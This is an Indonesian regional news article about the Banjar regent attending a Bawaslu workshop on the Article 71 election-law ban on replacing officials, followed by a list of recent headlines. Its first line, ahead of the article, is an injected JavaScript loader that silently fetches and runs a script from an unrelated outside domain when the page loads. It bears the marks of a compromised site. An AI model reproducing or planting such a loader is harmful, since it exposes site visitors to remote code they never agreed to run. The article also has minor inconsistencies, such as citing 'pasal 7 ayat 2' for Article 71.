(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bupati Banjar Ikuti Workshop UU Aturan Penggantian Pejabat


KANALKALIMANTAN.COM, MARTAPURA – Bupati KH Khalilurrahman didampingi Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Aslam mengikuti Workshop penerapan Pasal 71 Undang–Undang Nomor 10 Tahun 2016 gelombang III, di Banjarmasin, Rabu (11/2/2020).

Dalam workshop tersebut diungkapkan, pada pasal 7 ayat 2 disebutkan, Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati dan Wali Kota atau Wakil Wali Kota dilarang melakukan penggantian pejabat 6 bulan sebelum tanggal penetapan pasangan calon hingga akhir masa jabatan, kecuali mendapat persetujuan tertulis dari menteri.

Ketua Badan Pengawas Pemilu (Bawaslu) RI Abhan saat membuka workshop kembali mengingatkan agar petahana tidak melibatkan Aparatur Sipin Negara (ASN) dalam politik praktis. Karena ASN wajib berada di posisi netral dalam Pemilihan Kepada Daerah (Pilkada) serentak yang berlangsung pada 23 September 2020.

“Ini adalah sosialisasi dan pemahaman bersama, yang dilarang UU misalnya netralitas ASN. Kalau ada petahana, untuk tidak menarik ASN dalam politik praktisnya,” tegasnya.

Sekdaprov Kalsel Abdul Haris Makkie mengatakan, memahami peraturan yang berkaitan dengan Pilkada sangat penting, apalagi terkait peraturan ASN dan calon-calonnya.

“Kita berharap dapat mengoptimalkan dan meminimalisir segala kemungkinan yang bisa terjadi pada pelaksanaan Pilkada serta kian meningkatkan sosialisasi kepada masyarakat,” ujarnya.

Mengingat tanggal pelaksanaan penetapan paslon (pasangan calon) peserta pemilihan tahun 2020 pada 8 Juli 2020, maka larangan mutasi jabatan 6 bulan sebelum penetapan paslon pada 8 Januari 2020, menjadi kewajiban bagi Bawaslu RI menyosialisasikan pemberlakuan UU tersebut.

Kegiatan workshop ini merupakan gelombang ketiga. Peserta berasal dari Provinsi dan kabupaten/kota di Kalsel, Kalteng, Kaltim, Kaltara, Banten, Jabar, Jateng, Jatim dan DI Yogyakarata dan Jawa Timur. (kanalkalimantan.com/bie/adv)

Reporter : bie
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.